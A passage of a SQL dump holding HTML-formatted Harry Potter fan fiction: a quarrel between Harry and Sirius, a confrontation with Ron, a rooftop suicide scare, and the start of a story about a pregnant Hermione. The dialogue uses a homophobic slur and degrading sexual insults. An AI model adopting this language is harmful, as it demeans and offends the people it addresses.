for\nme? Misuse me!&nbsp; I would gladly be\nmisused my her then walking on your steps.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Hey, watch you&#8217;re tongue.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;I am watching it. Believe me, think about what you are\nsaying.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;That&#8217;s the way you talk to an elder!&#8221; Sirius was visibly\nfuming, and the red spots on Harry&#8217;s cheek showed that he was also angry. </i></p>\n\n<p class="MsoNormal"><i>&#8220;I am not a baby that I would listen to what ruddy things\n&#8220;elders&#8221; may say. I am 17 and I know what I have to do.&#8221; Harry answered\napparently too heatedly. He at once regretted saying that. For a moment a\npained look crept on Sirius&#8217;s face.</i></p>\n\n<p class="MsoNormal"><i>&#8220;Look Sirius, I am sorry. I didn&#8217;t mean it like that.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;I know Harry, but that&#8217;s irrelevant right now. Come on\nHarry! Look at it! Its unethical.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;And was it unethical when my mother and father and you\nand Bella did this almost 2 years before us?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;That was another thing.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;No it wasn&#8217;t. You mean to say that I should make love\nwith the girl I love just because it hurts you&#8217;re god-fatherly pride and ego?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Be a responsible man Harry! You were not like this\nbefore. I wonder what Hermione has taught you&#8230;she is not a responsible lady,\nRon Weasley says so and we all know the sincerity of Weasleys.&#8221; Harry&#8217;s face\nblazed with anger when he realized what Sirius had just said. </i></p>\n\n<p class="MsoNormal"><i>&#8220;That was low for even you Sirius! I just realized why\nthe Ministry thought you the criminal when my parents died. You believed on the\nwords of that faggot. You are losing your mind. Perhaps you ate a poisonous rat\nwhile hunting as a dog.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;SMACK! How dare you accuse me of Lily and James&#8217;s\ndeath?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;What! Hitting! That&#8217;s how you get your pleasure. No\nwonder Bella left you. And do you have a guilty conscious?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;How dare you talk to me like that about my personal\nmatters?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;I will talk as I like. How dare you interfere in my love\nlife?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&#8220;I am you&#8217;re\ngodfather!&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;I am no longer a bloody child, Black! I bloody well know\nwhat fucking I have to do.&#8221; Harry hollered with anger.</i></p>\n\n<p class="MsoNormal"><i>&#8220;And fuck to you&#8217;re ethics. I know how were you. You\naccuse Hermione! No wonder you are a jealous freak! You are jealous from even\nyou&#8217;re godson! You are jealous just because your godson found someone who is\nbeautiful, but also caring, loving and lovable! Better then your freaking hoard\nof fucking girl friends! You are pitiable Black&#8230;Just pitiable.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;What do you think you are Potter? Your parents would\nhave disappointed at you. You think you are equal to your parents, and you make\nHermione equal to Lily! She is nothing but a little fuckble worm in front of\nher.&#8221; Harry felt if someone had hit him with crucitus curse. Not one, but\nthousands. He couldn&#8217;t say anything. He felt numb. Tears came in his eyes. He\nbarely registered someone running away from the adjacent row, sobbing\ncontinuously. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;No Sirius black! They would have been proud with their\nson and Lily would have killed you. You deserve to die!&#8221; Suddenly a raised\nvoice came for afar and soon Harry saw a man approaching him. He was clad in\nragged cloths, yet he seemed to be glowing with anger. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Professor Lupin&#8230;?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Remus! What the hell were you saying?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;I was telling a bloody truth.&#8221; Harry had never heard\nProfessor Lupin swearing, but he seemed to be vibrating jolts of energy from\nhis body and tongue. He looked towards Harry.</i></p>\n\n<p class="MsoNormal"><i>&#8220;Harry go and see after Hermione. See that she doesn&#8217;t\nharm herself.&#8221; Remus said to Harry.</i></p>\n\n<p class="MsoNormal"><i>&#8220;And Harry, you parents would been proud with you, how\nyou stood up for your loved one&#8221; </i></p>\n\n<p class="MsoNormal"><i>But Harry didn&#8217;t seem to listen to his last sentence.\nInstead, he was registering something else. He now remembered the figure that\nhad run past him sobbing. Brown hairs&#8230;Blue Robes, so very like the robes he had\ngiven to Hermione for her birthday&#8230;Hermione! Harry&#8217;s mind did a huge\nsomersault. With great horror he realized that Hermione had listened to there\nwhole confrontation. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;Harry felt a\nstrange type of fear and anger suspend his mind. </i></p>\n\n<p class="MsoNormal"><i>What would Hermione think? She would be heart broken and\nwith sinking realization Harry realized that she might do something&#8230;something\nhorrible to herself. </i></p>\n\n<p class="MsoNormal"><i>I have to go after her. Curse Sirius! Course the day I\nsaved him from dementors! </i></p>\n\n<p class="MsoNormal"><i>He Turned towards Sirius. </i></p>\n\n<p class="MsoNormal"><i>&#8220;You have done it bloody son of a bitch. You have sent my\ngirlfriend away. Happy now! You poisonous son of a fart! Perhaps this would\nhelp your boastful ego. You bloody bastard. You are detestable! I hate you!&#8221;\nwith these words, teas running down his red cheek, Harry ran away towards the\ncastle. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Sirius stood there for a moment, realizing what he had\ndone. Realization dawned on him. His face became void. Remus looked at his\nfriend with concern. Sirius&#8217;s face blanched for a while and then in an almost\nmonotone voice he almost said to himself.</i></p>\n\n<p class="MsoNormal"><i>&#8220;You are detestable Black, you really are.&#8221; With that he\ncollapsed. &nbsp;&nbsp;(chapter finished)</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(69, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i>Story, &#8220;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></b></p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoNormal"><b><i>Chapter, &#8220;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8221;</i></b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And here was Harry. Tired and miserable. Just after leaving\nSirius, Harry had examined all the school, asking about Hermione, trying to\nfind her. To no avail. He had asked Draco, he had asked even that infernal\nWeasley, but he couldn&#8217;t find her. No, he couldn&#8217;t. </p>\n\n<p class="MsoNormal">But he would. This afternoon had been one of the worst one\nof his life. He felt like a total prat. He desperately needed to find the girl\nhe loved, the girl he wanted. He wanted to hold her. To admit his undying love\nfor him. To remedy for everything his bastard of a godfather had said. He\nreally needed her. </p>\n\n<p class="MsoNormal">&nbsp;Grouped in his\nthoughts he aimlessly passed through the corridors. He couldn&#8217;t even find\nHermione with his new found powers. She seemed to have disappeared from the\nface of the earth. He had tried a tracking spell, a scent-proving smell, a\ndetecting spell, but still couldn&#8217;t find her.</p>\n\n<p class="MsoNormal">&nbsp;He had told nobody\nabout his confrontation with Sirius. He felt bad enough with listening to\nanyone else sympathetic bleaching. </p>\n\n<p class="MsoNormal">&nbsp;He was passing in\nfront of the charms room, when he saw someone coming out of the room. For a\nmoment he almost wished that it was Hermione, a dreamy look came on his face,\nbut vanished the moment when he saw who it was. </p>\n\n<p class="MsoNormal">&nbsp;Ronald Weasley stood\nin front of him, flanked with his body guards, Crabbe and Goyle. They were so\nfat that they towered over the ugly, thin body of Weasley.</p>\n\n<p class="MsoNormal">&#8220;looking for the mudblood are we&#8230;Potter?&#8221; Weasley said\ntartly. </p>\n\n<p class="MsoNormal">&#8220;cant spend two moments without getting in her pants&#8230;can\nwe?&#8221; His companions laughed suddenly when he elbowed them to make them laugh. </p>\n\n<p class="MsoNormal">Harry was in mode of courteous bows. </p>\n\n<p class="MsoNormal">&#8220;Shove off, Weasley.&#8221; He tried to get past him, but his\ncronies at once blocked the way. </p>\n\n<p class="MsoNormal">&#8220;Oh no, the famous Potter cannot go without&#8230;err&#8230;some\nquestioning. So Potter, Brown said that you seduced her yesterday? Is that\ncorrect. Your infernal mudblood friend would only be too happy to listen to\nthat. Look here Potter, she is too low for even the likes of you. Keep away\nfrom her or you will regret.&#8221; Weasley went on, not noticing the look in Harry&#8217;s\neyes. if looked could have killed then Weasley would have been dead the\ninstant.</p>\n\n<p class="MsoNormal">&#8220;I said shove off. At least Hermione is way better then your\nhoard of bitches that would give a buck even to get in the pants of a dog. And\nno wonder that even &#8220;they&#8221; desert you. You would no wonder try to get in the\npants of your sister. You are an infernal bastard. Now shove off, and go suck\nthe disgusting cock of your cronies. Nah&#8230;Weasley, even they are too better for\nyou&#8230;I would advice you to look at your sister before commenting on someone\nelse.&#8221; </p>\n\n<p class="MsoNormal">&#8220;How dare you. After him, shatter him into mincemeat.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But Harry was in no mood for games. He was too quick for\nWeasley. With the help of his newfound powers he could do wandless magic. With\none swift spell the three of them went flying towards the wall, hitting it with\na loud thud. They tried to get up, but could only gag, for invisible ropes tied\nthem in form of a bundle and some invisible thing began to take off their shoes\nand socks. After that some invisible hand shoved the stuffy socks in their\nmouths. They were bound, gagged, perfect example of three detestable\ncockroaches. </p>\n\n<p class="MsoNormal">&nbsp;Harry muttered a\nquick spell. Their memories would be erased with this spell. </p>\n\n<p class="MsoNormal">Finished with them he moved forward. Where could he find Hermione?\nHow could he locate her?</p>\n\n<p class="MsoNormal">Wait! Locate her! The Prankster map!!! </p>\n\n<p class="MsoNormal">Harry turned on his heels and bounded towards the Gryffindor\nSeventh year dormitories, in order to retrieve the Marauder&#8217;s map. </p>\n\n<p class="MsoNormal">The common room was barely filled as the students, which had\ngiven their last papers, had gone out to enjoy the golden sunshine. He went to\nhis dormitory and rummaged in his trunk. He could swear he had placed the map,\nafter the last time he had used it. </p>\n\n<p class="MsoNormal">Finally after a lot of finding he at last found a map. It\nwas a blank piece of thick, yellow parchment. Muttering the password he looked\nat him, to see the dot of Hermione. She was nowhere in the premises of\nGryffindor tower room, not on the first and second floor, not in the north\ntower, never in Trealenway&#8217;s tower, no need looking there, not in the Hagrid\ntower. Bingo! There she was at the top of astronomy tower! Bloody hell! On the\nvery top! The top most spire of Hogwarts had a small platform built. She was\ncurrently standing there, his form bent dangerously towards the edge of the\nplatform.</p>\n\n<p class="MsoNormal">&#8220;Oh my god! She is going to jump over the building! The\nfoolish girl! Fears clouded, Harry&#8217;s brain. With all the speed he could muster\nhe ran like a hare towards the astronomy tower. Reaching it in record time he\npreceded the long step with tireless agility that was normally never there. In\nrecord time, he reached the terrace like tower. Strong gusts of chilly wind hit\nhis face as he tried to ward them off unsuccessfully by his cloak. He franticly\nlooked around. </p>\n\n<p class="MsoNormal">&#8220;It had to be here!&#8221; He looked around for step holds. In the\nfar most corner, he found an iron ladder. Going upwards till it reached an arch\nthat opened up into a slit. </p>\n\n<p class="MsoNormal">He climbed the stair as quickly as he could and soon found\nhimself onto silt where small stone steps were cut in order to reach the top\nmost platform. He was barely aware of breathing of someone as he quickly\nclimbed the stairs to reach the platform. </p>\n\n<p class="MsoNormal">The platform was not Enwalled from all the sides. It had a\nsmall roof on it, which was all it had. It was open for cross way winds to meet\neach other. Wind there was very strong and it was difficult for Harry to keep\nhis stepping. The platform was long and wide enough for 10 people to stand.\nProbably in older days, this platform was used to keep track of the movement of\nstars.</p>\n\n<p class="MsoNormal">&nbsp;Harry looked up. He\ncould barely see a huge red ball slowly sinking below the horizon. He turned\naround looking for Hermione. She was standing on the western side, facing the\nsun. His back was turned towards him. She hadn&#8217;t apparently registered his\narrival yet. </p>\n\n<p class="MsoNormal">Though the wind was blowing east to west, he could still\nregister her sobs. </p>\n\n<p class="MsoNormal">Harry gently moved forward. Even in this state he had to\nadmire the perfect curves of Hermione&#8217;s back. His cheek flushed. He was now\nbehind Hermione. They were standing just off the edge. He was aware that his\nfingers were cold and if he touched her, then he would probably startle her,\nwhich could be dangerous. </p>\n\n<p class="MsoNormal">&nbsp;&#8220;Hermione.&#8221; He said\nsoftly. </p>\n\n<p class="MsoNormal">Moving his hand, he gently touched her on the shoulder. She\njumped and over-balanced, landing in the lap of Harry who was forced to sit\ndown due to her weight. She could feel him tight against her when she landed on\nhis lap. For a moment content passed on his face and he almost gave in to his\nsnuggle, but suddenly as if something was triggered inside her, memories of the\nrecent past. She stood up and untangled herself from Harry. She could feel the\ndisappointment on his face. His heart was greatly moved, yet his brain\nregistered the words of Sirius Black, some hours ago. </p>\n\n<p class="MsoNormal">&#8220;You are so lame Hermione Granger! Don&#8217;t you have any honor!\nHe is the godson of the man who accused you of slander and being a scarlet\nwoman! Don&#8217;t you have any sense Hermione granger?&#8221; Somewhere from her heart a\nweak cry rose, </p>\n\n<p class="MsoNormal">&#8220;No I love Harry! Didn&#8217;t he stand for me there? What if he\nis the godson of that accursed man! He loves me! He said so.&#8221; Yet the cry was\nnot loud enough and her brain won the game. A cold look came on her face and\nher pretty features narrowed. </p>\n\n<p class="MsoNormal">&#8220;why have you come here Potter? Probably to tell me you\ndon&#8217;t want to be with me because I am a slurring bitch!&#8221; Harry had never heard\nHermione swear like this before and he was surprised and a little hurt by her\nreaction. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How can you think like this Hermione? You know I love you.\nLove you with all my heart. I would do anything for you.&#8221; He seemed so hurt and\nmiserable, that for a moment Hermione succumbed to her heart desire. It was\nwith considerable effort that she was able to shake off the feeling of utter\npity. Deep down in her heart she knew that Harry was entirely sincere, but she\nwas too proud to accept it fully. </p>\n\n<p class="MsoNormal">She choose to keep quiet. Harry took it as a cue to keep\ntalking. </p>\n\n<p class="MsoNormal">&#8220;Sirius probably drank too much. He didn&#8217;t know what he was\ntalking about. You should forgive her Herm.&#8221; This was probably the worst thing\nthat could be said at that moment. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This did it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;SO THAT&#8217;S WHY SO WERE HERE! You want me to beg to that\ninfernal son of a bastard. All men are the same! You think I am your whore! I\nwould do everything you like at your bidding. You are dead wrong there, Harry\nfucking Potter!&#8221; She screamed at him with full force. For a moment Harry felt\nthat his ears would crack. When at last she was finished he looked at her. She\nseemed furious. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry could feel rays of wrath radiating out of her. He at\nonce regretted saying his last sentence. After all it wasn&#8217;t her mistake that\nSirius was behaving so foolishly. He had actually accused her of masturbating.\nAnd here he was arguing in Sirius&#8217;s favor. Although he meant no offence to\nHermione, yet he knew that in a way he was suggesting that Sirius was correct\nand Hermione wrong. Hermione was a very proud girl. She was cute, adorable, and\nlovely, loving yet had a strict regard of rules. She had never on the first\npoint agreed on their making love before the end of the year. Harry, after many\nspectacular shows had finally convinced her. </p>\n\n<p class="MsoNormal">But now it seemed Sirius had ruined it all. </p>\n\n<p class="MsoNormal">&nbsp;He turned towards\nHermione. She was moving backwards, getting dangerously close to the edge of\nthe platform. </p>\n\n<p class="MsoNormal">&nbsp;&#8220;Oh no Hermione! I\ndidn&#8217;t mean to make it look like that. I know Sirius is being a master dork\nbut&#8230;&#8221; </p>\n\n<p class="MsoNormal">&#8220;Oh yes you wanted to Potter. You men have an ego too big\nfor yourself. When you see a beautiful girl, you want to make her a part of\nyour bed. Your bed not your heart! You would just through me away when you were\nfinished with me. And he accused me of trying to get in your pants! Here you\nwant me to apologize to him! I am a grown woman Harry, and I can bloody well choose\nyour company. I don&#8217;t need you right now. Just go away! Leave me alone!&#8221;</p>\n\n<p class="MsoNormal">Tears ran down Hermione&#8217;s face. Harry moved a gentle hand\ntrying to throw away the tears, but he denied his hand. </p>\n\n<p class="MsoNormal">&#8220;Just go away. Not you also! I don&#8217;t want to see you!&#8221;\nHermione was a total wreck. Harry felt his soul cringe seeing her look like\nthis, yet he felt that for once leaving Hermione alone was the right choice. </p>\n\n<p class="MsoNormal">He wanted her on his side. He wanted to hug her. To snuggle\nher, showing how deeply he cared for her. But he couldn&#8217;t do it. Live was\nsometimes too cruel. </p>\n\n<p class="MsoNormal">&#8220;Okay I am going Herm! I know I have acted bloody foolishly,\nbut I never meant to accuse you. Sirius had probably lost his mind. Please do\nforgive me.&#8221; Harry pleaded to her. </p>\n\n<p class="MsoNormal">&nbsp;For a moment\nHermione melted by the warmth in those adorably cute green eyes. Yet, the other\nsecond his honor was in the way again. He thought of the time when Harry had\naccused him. Tears again welled down her face. She needed time to think. At\nthat moment she felt that she would never be able to forgive Harry. </p>\n\n<p class="MsoNormal">&#8220;Just go away!&#8221; </p>\n\n<p class="MsoNormal">&#8220;Okay I am going away, but do promise me. You wont do\nsomething dangerous. Like throwing yourself from the tower?&#8221; Harry looked at\nhim with sincere concern. </p>\n\n<p class="MsoNormal">Amidst all this she suddenly felt she could laugh. </p>\n\n<p class="MsoNormal">Did Harry think she was so dim-witted that she would\nactually jump down the tower? </p>\n\n<p class="MsoNormal">He didn&#8217;t know her. Her mind questioned her that was it\nprudent to be a person who didn&#8217;t know her. Who had hurt her so deeply? She\ncouldn&#8217;t answer just yet, but deep down she had feelings that yes it was\nprudent. But not now, She needed time. Things had gone along too quickly for\nher. It didn&#8217;t take her a long time to figure that Harry had known about her\nbeing at this spot through the Marauder&#8217;s map. </p>\n\n<p class="MsoNormal">&nbsp; &#8220;I will do nothing of\nthis sort. But better get your arse out of here.&#8221; Hermione tried to look stern,\nbut tears made her face look more horrible and added to Harry&#8217;s misery.</p>\n\n<p class="MsoNormal">Harry just nodded and slowly backed away, all the while\nlooking at Hermione. </p>\n\n<p class="MsoNormal">Hermione felt a huge disappointment. </p>\n\n<p class="MsoNormal">&#8220;Oh why didn&#8217;t he ask just once more? Probably he is too\nproud too say sorry to his girlfriend even when he is wrong.&#8221; Hermione&#8217;s heart\nhardened in resolve. &#8220;Okay two can play the game as well.&#8221; It hurt her to think\nlike this. But it hurt her more to be with Harry thinking about the accusation\nof Sirius. </p>\n\n<p class="MsoNormal">&nbsp;Harry slowly climbed\ndown all the time facing Hermione, and for a moment she feared about his\nsafety, but apparently he had placed some kind of spell on himself, so that he\nwould swiftly climb down. His face disappeared after a while and she could\nnever forget the last look he gave her. This was the first fight between them\nafter they had gotten together. And Hermione was very miserable about that. She\nbadly wanted to patch things up with Harry but not without him first asking\npardon for his near accusation. </p>\n\n<p class="MsoNormal">She needed to consult Lavender about this. Surely by now she\nhad a lot of experience about such matters. She stood there for a few minutes,\nthinking about various things till the sun finally vanished behind the lonely\nmountains standing tall and grimacing not far away. Miserably, with trembling\nlips she deseeded the stairs and down to the main balcony of the Astronomy\ntower.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;\n****************************************************************</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry walked through the corridors aimlessly, thinking about\nthe problems. He had tried to find Draco but he had also disappeared somewhere\nalong with Ginny, and quiet frankly he was quiet envious of Him just now. He\nwouldn&#8217;t have thought anything better then sharing a nice, cozy evening with\nHermione in a nice quiet room, with a cozy bed and&#8230;But that dart of a Sirius\nhad spoiled his plans. He was thinking of going towards the Gryffindor dorm,\nwhen he heard someone passing by. He didn&#8217;t want to be seen just then by\nanyone. He swiftly hid himself behind a shining knight in medieval Armour.\nAfter a few seconds Harry saw Professor Mcgonagal passing through the corridor\nin a great hurry carrying an open bundle of cloth. She seemed to be muttering\nsomething. Harry thought he distinctly caught the word &#8220;time&#8221; but wasn&#8217;t able\nto make out anything else. Just when Professor Mcgonagal had taken the turn,\nsomething fell off from her bundle of cloth, hitting the hard floor\nnoiselessly. Professor Mcgonagal didn&#8217;t seem to realize that something was\nmissing. She just went on and after a few second even the noise of her\nfootsteps disappeared. When Harry was sure that the corridor was empty and no\none was within hearing range, he leapt out of his not so comfortable hiding\nplace, (the suite of Armour was very naughty with his hands) and looked at the\nobject. </p>\n\n<p class="MsoNormal">&nbsp;It seemed like a\nsmall ball, the size of a globe with a curious key at the top. He bent forward\nand picked it up. The ball glittered in the light of candles. It was apparently\nmade of some un-known metal. Just as he was examining it, he unconsciously\nmoved the key a little. Suddenly there was a small click and the back part of\nthe ball disappeared. Now a screen was visible with two buttons there. Harry\npushed the first button, feeling like a prying toddler who want to learn about\nnew things. There was something visible under the glass screen. Where they\nnumbers. They seemed something like 1978&#8230;without thinking Harry pushed the\nsecond button. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Two things happened almost simultaneously. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione came into Harry&#8217;s view and when she saw Harry\npushing the button on the ball-cum-globe, she screamed, &#8220;No Harry don&#8217;t push\nthat!&#8221;</p>\n\n<p class="MsoNormal">Secondly Harry felt a sudden tug on his shoulder, as if\nsomeone was trying to pull him towards itself. He felt the world moving around\nhim, and dizziness made him close his eyes. With a sinking feeling he felt the\nground leave his feet. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry had activated a time turner. He was not traveling\ntowards unaware destination. All he could do was to clutch at the time-turner. </p>\n\n<p class="MsoNormal">He suddenly felt his feet hit solid ground again. The world\nseemed to steady a bit. Cautiously, Harry opened his eyes. </p>\n\n<p class="MsoNormal">&nbsp;He felt the shock of\nhis life. </p>\n\n<p class="MsoNormal">He wavered, trying to grip thin air, unbalanced and crashed\ndown. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp; ************************************************************************</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>Disclaimers:</i> This story is based on characters and situations created\nand owned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended.<i></i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>You men have too big an ego for yourself &#169; King.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Prying toddler &#169; Seven ways of taking care of children. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;That&#8217;s private&#8221; &#169; Harry from many stories. </i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(70, 1, '\n\n\n\n<b>Expecting</b>\n<br>\n~ ~ ~ ~ ~ ~\n<br><br>\n&quot;For Merlin\'s sake, Harry. I can\'t go.&quot; \n<br><br>\nHarry Potter\'s wife was standing in front of him, arms crossed, face flushed. Her bushy brown hair was looking rather bushier than usual, as if someone had been wiring tiny electrical currents through it without her consent. Harry stared around the bedroom. It looked as if Gilderoy Lockhart\'s cage full of pixies had been at work emptying the contents of their closet onto every available surface. He gulped. \n<br><br>\n&quot;Hermione...&quot; he began. \n<br><br>\n&quot;I\'m atrocious!&quot; \n<br><br>\nHermione flopped into an overstuffed armchair which was currently draped with formal robes and buried her face in her hands. \n<br><br>\nHarry took a deep breath. Ron had told him it might be like this. \n<br><br>\n&quot;Not Hermione,&quot; Harry had said. \n<br><br>\n&quot;Oh, just wait.&quot; Ron had grinned at him broadly as two tiny red-haired children attempted to climb up his legs. &quot;We both know Hermione\'s as practical as they come, but I\'m tellin\' you, as soon as the hormones are on the loose, you\'d best hide out for nine months or you won\'t know what hit you. \'Oi, off the table, Henry! That cauldron is not a bathtub!&quot; \n<br><br>\nIt had been no surprise to anyone when Ron married Rosie O\'Reilly, a sweet, firey Hufflepuff two years below them at Hogwarts, with red hair and a temper that matched Ron\'s to perfection. It was equally unsurprising that Ron and Rosie already had three children under the age of five -- Henry, and twins Molly and Megan. Harry found himself wishing he\'d listened to Ron\'s advice a bit more closely that day at the Burrow. He\'d been a bit distracted, however. He\'d just found out the night before -- \n<br><br>\n&quot;Harry, are you listening to me?&quot; \n<br><br>\nHarry blinked. \n<br><br>\n&quot;I\'m sorry, Hermione, I don\'t understand what the trouble is -- &quot; \n<br><br>\nHermione\'s eyes were flashing with anger. &quot;The trouble? The trouble is ME.&quot; \n<br><br>\n&quot;Just remember one thing,&quot; Ron had said. &quot;Your wife is sort of -- under a spell, so to speak. Your job, no matter what the circumstances...&quot; \n<br><br>\nHarry crossed the room and knelt by Hermione\'s side. He smoothed aside a stray lock of wild brown hair and kissed her cheek softly. \n<br><br>\n&quot;Tell me what\'s the matter.&quot; \n<br><br>\nHermione\'s anger melted instantly. She reached for Harry, who gathered her into his arms, bewildered, and stroked her hair as she sobbed into his shoulder. \n<br><br>\n&quot;I\'ve tried on all my dress robes,&quot; she murmured, her voice muffled in his sweater. &quot;I\'ve tried them all, and... nothing fits.&quot; \n<br><br>\nHarry hid a smile in the depths of Hermione\'s wild hair. Hermione G. Potter, famous Professor of Transfiguration, chairwoman of the Research and Development of Medical Charms Department at the Ministry of Magic, guest lecturer at Hogwarts, and honorary Doctor of Magical and Muggle Maladies at St.Mungo\'s, seemed to have forgotten one important symptom of her own pregnancy. \n<br><br>\n&quot;Hermione,&quot; Harry said gently, trying to conceal the amusement in his voice, &quot;you\'re having a baby.&quot; \n<br><br>\n&quot;I know!&quot; Hermione broke away from him, exasperated. &quot;I just -- didn\'t expect to outgrow things so SOON.&quot; \n<br><br>\nHarry hadn\'t expected it either. Hermione had been plagued with nausea for weeks, but it had recently subsided, much to Harry\'s relief. He hadn\'t liked watching Hermione turn pale at the sight of Sunday dinner. Thankfully, her appetite had returned with a vengeance, and Harry now often spent his evenings in the kitchen, his sleeves rolled up, listening to Quidditch matches on the Wizard\'s Wireless as he prepared supper with the occasional aid of his wand. Harry was no house elf, but he was a more-than-competent cook, thanks to years of drudgery at the Dursleys\'. He\'d hated cooking on Privet Drive, but somehow it seemed different these days, now that his wife seemed so grateful that he knew how to fry bacon. \n<br><br>\nHis wife. Harry smiled again. \n<br><br>\n&quot;You\'re laughing at me, aren\'t you? You think it\'s funny!&quot; \n<br><br>\nHermione had gone from meek to furious again almost instantaneously. Harry shook himself. &quot;No, no, I was just thinking -- &quot; \n<br><br>\nHermione looked at him expectantly. Even with her hair flying in forty-seven directions, her eyes red-rimmed with tears, and her small form wrapped in a fuzzy blue bathrobe, Hermione could look every bit as intimidating as the day she slapped Draco Malfoy across the face in their third year at Hogwarts. \n<br><br>\nIt was one of the things Harry loved about her. \n<br><br>\n&quot;Just thinking what?&quot; Hermione said shortly. She stood and began to pace the room again, picking up dress robes from the floor and discarding them onto a growing pile on the armchair. \n<br><br>\nIn one swift movement Harry straightened and swept Hermione into his arms, silencing her protests with a sound kiss. Hermione\'s knees buckled. Harry felt her melt against him, felt her sink into the kiss as his heart thumped in response. It never failed. Kissing Hermione always made him feel as if he was flying on a broomstick for the first time. \n<br><br>\n&quot;Oh,&quot; Hermione whispered finally as they broke apart. \n<br><br>\nHarry kissed the tip of her nose and grinned. \n<br><br>\n&quot;I was thinking I wanted to do that,&quot; he chided softly. \n<br><br>\n&quot;You\'re not being serious,&quot; Hermione protested, but her face was breaking into a smile. \n<br><br>\n&quot;I\'m dead serious.&quot; Harry brushed his lips against hers again, and Hermione\'s arms reached up to twine around his neck. He swept her off the floor, caught her eye, and pretended to stagger under her weight. Hermione dissolved into giggles. \n<br><br>\n&quot;Will you stop,&quot; she laughed as Harry set her down carefully on the bed and bent to kiss her once more. &quot;The party\'s in two hours and I haven\'t even done my hair.&quot; \n<br><br>\n&quot;All right then,&quot; said Harry. He turned to study the room, trying his best to look stern while assessing a sea of women\'s dress robes. He picked up a few discarded garments from the back of the armchair and held them out to Hermione. &quot;Let\'s see the robes on you. I\'m sure they\'re not as bad as you say, and even if they don\'t fit, I\'m sure we can fix them.&quot; \n<br><br>\nHermione was instantly businesslike. Harry knew that problem-solving was something she loved, once she saw something as a project rather than a personal crisis. &quot;Right,&quot; she said, her brow furrowed. &quot;I\'m sure I\'ve got a book on sewing charms somewhere in the library. Why didn\'t I think of that...&quot; \n<br><br>\n&quot;Let\'s see then,&quot; urged Harry, presenting her with a pile of jewel-toned robes. \n<br><br>\n&quot;Okay,&quot; said Hermione. &quot;But -- &quot; \n<br><br>\nHarry raised an eyebrow. \n<br><br>\n&quot;Not the green one.&quot; Hermione grinned sheepishly. 